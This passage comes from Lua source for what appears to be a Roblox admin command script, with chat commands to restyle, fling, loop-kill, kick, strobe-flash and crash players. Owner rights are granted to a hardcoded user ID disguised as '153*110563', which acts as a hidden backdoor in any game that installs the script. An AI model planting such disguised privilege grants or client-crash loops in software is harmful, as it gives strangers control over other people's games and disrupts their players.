  1590. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1591. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1592. v.Character.Torso.Transparency = 0
  1593. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1594. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1595. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1596. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1597. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1598. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1599. end
  1600. end))
  1601. end
  1602. end
  1603.  
  1604. if msg:lower():sub(1,10) == "uncreeper " then
  1605. local plrz = GetPlr(plr, msg:lower():sub(11))
  1606. for i, v in pairs(plrz) do
  1607. coroutine.resume(coroutine.create(function()
  1608. if v and v.Character and v.Character:findFirstChild("Torso") then
  1609. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1610. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1611. v.Character.Torso.Transparency = 0
  1612. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1613. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1614. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1615. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1616. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1617. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1618. end
  1619. end))
  1620. end
  1621. end
  1622.  
  1623. if msg:lower():sub(1,8) == "bighead " then
  1624. local plrz = GetPlr(plr, msg:lower():sub(9))
  1625. for i, v in pairs(plrz) do
  1626. coroutine.resume(coroutine.create(function()
  1627. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1628. end))
  1629. end
  1630. end
  1631.  
  1632. if msg:lower():sub(1,9) == "minihead " then
  1633. local plrz = GetPlr(plr, msg:lower():sub(10))
  1634. for i, v in pairs(plrz) do
  1635. coroutine.resume(coroutine.create(function()
  1636. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1637. end))
  1638. end
  1639. end
  1640.  
  1641. if msg:lower():sub(1,6) == "fling " then
  1642. local plrz = GetPlr(plr, msg:lower():sub(7))
  1643. for i, v in pairs(plrz) do
  1644. coroutine.resume(coroutine.create(function()
  1645. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1646. local xran local zran
  1647. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1648. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1649. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1650. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1651. end
  1652. end))
  1653. end
  1654. end
  1655.  
  1656. if msg:lower():sub(1,8) == "seizure " then
  1657. local plrz = GetPlr(plr, msg:lower():sub(9))
  1658. for i, v in pairs(plrz) do
  1659. coroutine.resume(coroutine.create(function()
  1660. if v and v.Character then
  1661. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1662. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1663. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1664. end
  1665. end))
  1666. end
  1667. end
  1668.  
  1669. if msg:lower():sub(1,10) == "unseizure " then
  1670. local plrz = GetPlr(plr, msg:lower():sub(11))
  1671. for i, v in pairs(plrz) do
  1672. coroutine.resume(coroutine.create(function()
  1673. if v and v.Character then
  1674. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1675. wait(.1) v.Character.Humanoid.PlatformStand = false
  1676. end
  1677. end))
  1678. end
  1679. end
  1680.  
  1681. if msg:lower():sub(1,12) == "removelimbs " then
  1682. local plrz = GetPlr(plr, msg:lower():sub(13))
  1683. for i, v in pairs(plrz) do
  1684. coroutine.resume(coroutine.create(function()
  1685. if v and v.Character then
  1686. for a, obj in pairs(v.Character:children()) do
  1687. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1688. end
  1689. end
  1690. end))
  1691. end
  1692. end
  1693.  
  1694. if msg:lower():sub(1,5) == "name " then
  1695. local chk1 = msg:lower():sub(6):find(" ") + 5
  1696. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1697. for i, v in pairs(plrz) do
  1698. coroutine.resume(coroutine.create(function()
  1699. if v and v.Character and v.Character:findFirstChild("Head") then
  1700. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1701. local char = v.Character
  1702. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1703. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1704. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1705. char.Head.Transparency = 1
  1706. end
  1707. end))
  1708. end
  1709. end
  1710.  
  1711. if msg:lower():sub(1,7) == "unname " then
  1712. local plrz = GetPlr(plr, msg:lower():sub(8))
  1713. for i, v in pairs(plrz) do
  1714. coroutine.resume(coroutine.create(function()
  1715. if v and v.Character and v.Character:findFirstChild("Head") then
  1716. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1717. end
  1718. end))
  1719. end
  1720. end
  1721.  
  1722. if msg:lower():sub(1,5) == "char " then
  1723. local chk1 = msg:lower():sub(6):find(" ") + 5
  1724. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1725. for i, v in pairs(plrz) do
  1726. coroutine.resume(coroutine.create(function()
  1727. if v and v.Character then
  1728. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1729. v:LoadCharacter()
  1730. end
  1731. end))
  1732. end
  1733. end
  1734.  
  1735. if msg:lower():sub(1,7) == "unchar " then
  1736. local plrz = GetPlr(plr, msg:lower():sub(8))
  1737. for i, v in pairs(plrz) do
  1738. coroutine.resume(coroutine.create(function()
  1739. if v and v.Character then
  1740. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1741. v:LoadCharacter()
  1742. end
  1743. end))
  1744. end
  1745. end
  1746.  
  1747. if msg:lower():sub(1,7) == "infect " then
  1748. local plrz = GetPlr(plr, msg:lower():sub(8))
  1749. for i, v in pairs(plrz) do
  1750. coroutine.resume(coroutine.create(function()
  1751. if v and v.Character then
  1752. Infect(v.Character)
  1753. end
  1754. end))
  1755. end
  1756. end
  1757.  
  1758. if msg:lower():sub(1,11) == "rainbowify " then
  1759. local plrz = GetPlr(plr, msg:lower():sub(12))
  1760. for i, v in pairs(plrz) do
  1761. coroutine.resume(coroutine.create(function()
  1762. if v and v.Character and v.Character:findFirstChild("Torso") then
  1763. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1764. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1765. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1766. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1767. cl.Parent = v.Character cl.Disabled = false
  1768. end
  1769. end))
  1770. end
  1771. end
  1772.  
  1773. if msg:lower():sub(1,9) == "flashify " then
  1774. local plrz = GetPlr(plr, msg:lower():sub(10))
  1775. for i, v in pairs(plrz) do
  1776. coroutine.resume(coroutine.create(function()
  1777. if v and v.Character and v.Character:findFirstChild("Torso") then
  1778. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1779. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1780. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1781. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1782. cl.Parent = v.Character cl.Disabled = false
  1783. end
  1784. end))
  1785. end
  1786. end
  1787.  
  1788. if msg:lower():sub(1,8) == "noobify " then
  1789. local plrz = GetPlr(plr, msg:lower():sub(9))
  1790. for i, v in pairs(plrz) do
  1791. coroutine.resume(coroutine.create(function()
  1792. if v and v.Character then
  1793. Noobify(v.Character)
  1794. end
  1795. end))
  1796. end
  1797. end
  1798.  
  1799. if msg:lower():sub(1,9) == "ghostify " then
  1800. local plrz = GetPlr(plr, msg:lower():sub(10))
  1801. for i, v in pairs(plrz) do
  1802. coroutine.resume(coroutine.create(function()
  1803. if v and v.Character and v.Character:findFirstChild("Torso") then
  1804. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1805. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1806. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1807. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1808. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1809. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1810. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1811. end end
  1812. end
  1813. end))
  1814. end
  1815. end
  1816.  
  1817. if msg:lower():sub(1,8) == "goldify " then
  1818. local plrz = GetPlr(plr, msg:lower():sub(9))
  1819. for i, v in pairs(plrz) do
  1820. coroutine.resume(coroutine.create(function()
  1821. if v and v.Character and v.Character:findFirstChild("Torso") then
  1822. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1823. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1824. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1825. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1826. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1827. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1828. end end
  1829. end
  1830. end))
  1831. end
  1832. end
  1833.  
  1834. if msg:lower():sub(1,6) == "shiny " then
  1835. local plrz = GetPlr(plr, msg:lower():sub(7))
  1836. for i, v in pairs(plrz) do
  1837. coroutine.resume(coroutine.create(function()
  1838. if v and v.Character and v.Character:findFirstChild("Torso") then
  1839. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1840. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1841. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1842. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1843. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1844. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1845. end end
  1846. end
  1847. end))
  1848. end
  1849. end
  1850.  
  1851. if msg:lower():sub(1,7) == "normal " then
  1852. local plrz = GetPlr(plr, msg:lower():sub(8))
  1853. for i, v in pairs(plrz) do
  1854. coroutine.resume(coroutine.create(function()
  1855. if v and v.Character and v.Character:findFirstChild("Torso") then
  1856. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1857. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1858. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1859. v.Character.Torso.Transparency = 0
  1860. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1861. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1862. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1863. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1864. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1865. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1866. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1867. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1868. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1869. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1870. end end
  1871. end
  1872. end))
  1873. end
  1874. end
  1875.  
  1876. if msg:lower():sub(1,7) == "trippy " then
  1877. local plrz = GetPlr(plr, msg:lower():sub(8))
  1878. for i, v in pairs(plrz) do
  1879. coroutine.resume(coroutine.create(function()
  1880. if v and v:findFirstChild("PlayerGui") then
  1881. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1882. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1883. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1884. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1885. end
  1886. end))
  1887. end
  1888. end
  1889.  
  1890. if msg:lower():sub(1,9) == "untrippy " then
  1891. local plrz = GetPlr(plr, msg:lower():sub(10))
  1892. for i, v in pairs(plrz) do
  1893. coroutine.resume(coroutine.create(function()
  1894. if v and v:findFirstChild("PlayerGui") then
  1895. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1896. end
  1897. end))
  1898. end
  1899. end
  1900.  
  1901. if msg:lower():sub(1,7) == "strobe " then
  1902. local plrz = GetPlr(plr, msg:lower():sub(8))
  1903. for i, v in pairs(plrz) do
  1904. coroutine.resume(coroutine.create(function()
  1905. if v and v:findFirstChild("PlayerGui") then
  1906. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1907. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1908. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1909. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1910. end
  1911. end))
  1912. end
  1913. end
  1914.  
  1915. if msg:lower():sub(1,9) == "unstrobe " then
  1916. local plrz = GetPlr(plr, msg:lower():sub(10))
  1917. for i, v in pairs(plrz) do
  1918. coroutine.resume(coroutine.create(function()
  1919. if v and v:findFirstChild("PlayerGui") then
  1920. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1921. end
  1922. end))
  1923. end
  1924. end
  1925.  
  1926. if msg:lower():sub(1,6) == "blind " then
  1927. local plrz = GetPlr(plr, msg:lower():sub(7))
  1928. for i, v in pairs(plrz) do
  1929. coroutine.resume(coroutine.create(function()
  1930. if v and v:findFirstChild("PlayerGui") then
  1931. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1932. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1933. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1934. end
  1935. end))
  1936. end
  1937. end
  1938.  
  1939. if msg:lower():sub(1,8) == "unblind " then
  1940. local plrz = GetPlr(plr, msg:lower():sub(9))
  1941. for i, v in pairs(plrz) do
  1942. coroutine.resume(coroutine.create(function()
  1943. if v and v:findFirstChild("PlayerGui") then
  1944. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1945. end
  1946. end))
  1947. end
  1948. end
  1949.  
  1950. if msg:lower():sub(1,7) == "guifix " then
  1951. local plrz = GetPlr(plr, msg:lower():sub(8))
  1952. for i, v in pairs(plrz) do
  1953. coroutine.resume(coroutine.create(function()
  1954. if v and v:findFirstChild("PlayerGui") then
  1955. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1956. end
  1957. end))
  1958. end
  1959. end
  1960.  
  1961. if msg:lower():sub(1,9) == "loopheal " then
  1962. local plrz = GetPlr(plr, msg:lower():sub(10))
  1963. for i, v in pairs(plrz) do
  1964. if v then
  1965. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1966. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1967. repeat wait()
  1968. coroutine.resume(coroutine.create(function()
  1969. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1970. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1971. end
  1972. end))
  1973. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1974. end
  1975. end
  1976. end
  1977.  
  1978. if msg:lower():sub(1,11) == "unloopheal " then
  1979. local plrz = GetPlr(plr, msg:lower():sub(12))
  1980. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1981. end
  1982.  
  1983. if msg:lower():sub(1,10) == "loopfling " then
  1984. local plrz = GetPlr(plr, msg:lower():sub(11))
  1985. for i, v in pairs(plrz) do
  1986. if v then
  1987. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1988. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1989. repeat
  1990. coroutine.resume(coroutine.create(function()
  1991. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1992. local xran local zran
  1993. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1994. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1995. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1996. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1997. end
  1998. end))
  1999. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2000. end
  2001. end
  2002. end
  2003.  
  2004. if msg:lower():sub(1,12) == "unloopfling " then
  2005. local plrz = GetPlr(plr, msg:lower():sub(13))
  2006. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2007. end
  2008.  
  2009. end
  2010.  
  2011. -------------------------
  2012. -- True Owner Commands --
  2013. -------------------------
  2014.  
  2015. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2016.  
  2017. if msg:lower():sub(1,3) == "oa " then
  2018. local plrz = GetPlr(plr, msg:lower():sub(4))
  2019. for i, v in pairs(plrz) do
  2020. coroutine.resume(coroutine.create(function()
  2021. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2022. end))
  2023. end
  2024. end
  2025.  
  2026. if msg:lower():sub(1,5) == "unoa " then
  2027. for i = 1, #owners do
  2028. coroutine.resume(coroutine.create(function()
  2029. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2030. end))
  2031. end
  2032. end
  2033.  
  2034. end
  2035.  
  2036. --------------------
  2037. -- Owner Commands --
  2038. --------------------
  2039.  
  2040. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2041.  
  2042. if msg:lower():sub(1,3) == "pa " then
  2043. local plrz = GetPlr(plr, msg:lower():sub(4))
  2044. for i, v in pairs(plrz) do
  2045. coroutine.resume(coroutine.create(function()
  2046. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2047. end))
  2048. end
  2049. end
  2050.  
  2051. if msg:lower():sub(1,5) == "unpa " then
  2052. for i = 1, #admins do
  2053. coroutine.resume(coroutine.create(function()
  2054. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2055. end))
  2056. end
  2057. end
  2058.  
  2059. end
  2060.  
  2061. --------------------------
  2062. -- Super Admin Commands --
  2063. --------------------------
  2064.  
  2065. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2066.  
  2067. if msg:lower() == "logs" then
  2068. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2069. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2070. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2071. end
  2072.  
  2073. if msg:lower():sub(1,9) == "loopkill " then
  2074. local chk1 = msg:lower():sub(10):find(" ")
  2075. local plrz = GetPlr(plr, msg:lower():sub(10))
  2076. local num = 9999
  2077. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2078. for i, v in pairs(plrz) do
  2079. if v and not ChkAdmin(v.Name, false) then
  2080. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2081. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2082. for i = 1, ]] .. tostring(num) .. [[ do
  2083. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2084. coroutine.resume(coroutine.create(function()
  2085. if plr and plr.Character then plr.Character:BreakJoints() end
  2086. end))
  2087. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2088. end
  2089. end
  2090. end
  2091.  
  2092. if msg:lower():sub(1,11) == "unloopkill " then
  2093. local plrz = GetPlr(plr, msg:lower():sub(12))
  2094. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2095. end
  2096.  
  2097. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2098. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2099.  
  2100. if msg:lower():sub(1,3) == "sm " then
  2101. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2102. end
  2103.  
  2104. if msg:lower():sub(1,3) == "ko " then
  2105. local chk1 = msg:lower():sub(4):find(" ") + 3
  2106. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2107. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2108. for n = 1, num do
  2109. for i, v in pairs(plrz) do
  2110. coroutine.resume(coroutine.create(function()
  2111. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2112. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2113. v.Character:BreakJoints()
  2114. wait(1/44)
  2115. v:LoadCharacter()
  2116. wait(1/44)
  2117. end
  2118. end))
  2119. end
  2120. end
  2121. end
  2122.  
  2123. if msg:lower():sub(1,6) == "crash " then
  2124. local plrz = GetPlr(plr, msg:lower():sub(7))
  2125. for i, v in pairs(plrz) do
  2126. coroutine.resume(coroutine.create(function()
  2127. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2128. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2129. end
  2130. end))
  2131. end
  2132. end
  2133.  
  2134. if msg:lower():sub(1,5) == "kick " then
  2135. local plrz = GetPlr(plr, msg:lower():sub(6))
  2136. for i, v in pairs(plrz) do
  2137. coroutine.resume(coroutine.create(function()
  2138. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2139. end))
  2140. end
  2141. end
  2142.  
  2143. if msg:lower():sub(1,6) == "admin " then
  2144. local plrz = GetPlr(plr, msg:lower():sub(7))
  2145. for i, v in pairs(plrz) do
  2146. coroutine.resume(coroutine.create(function()
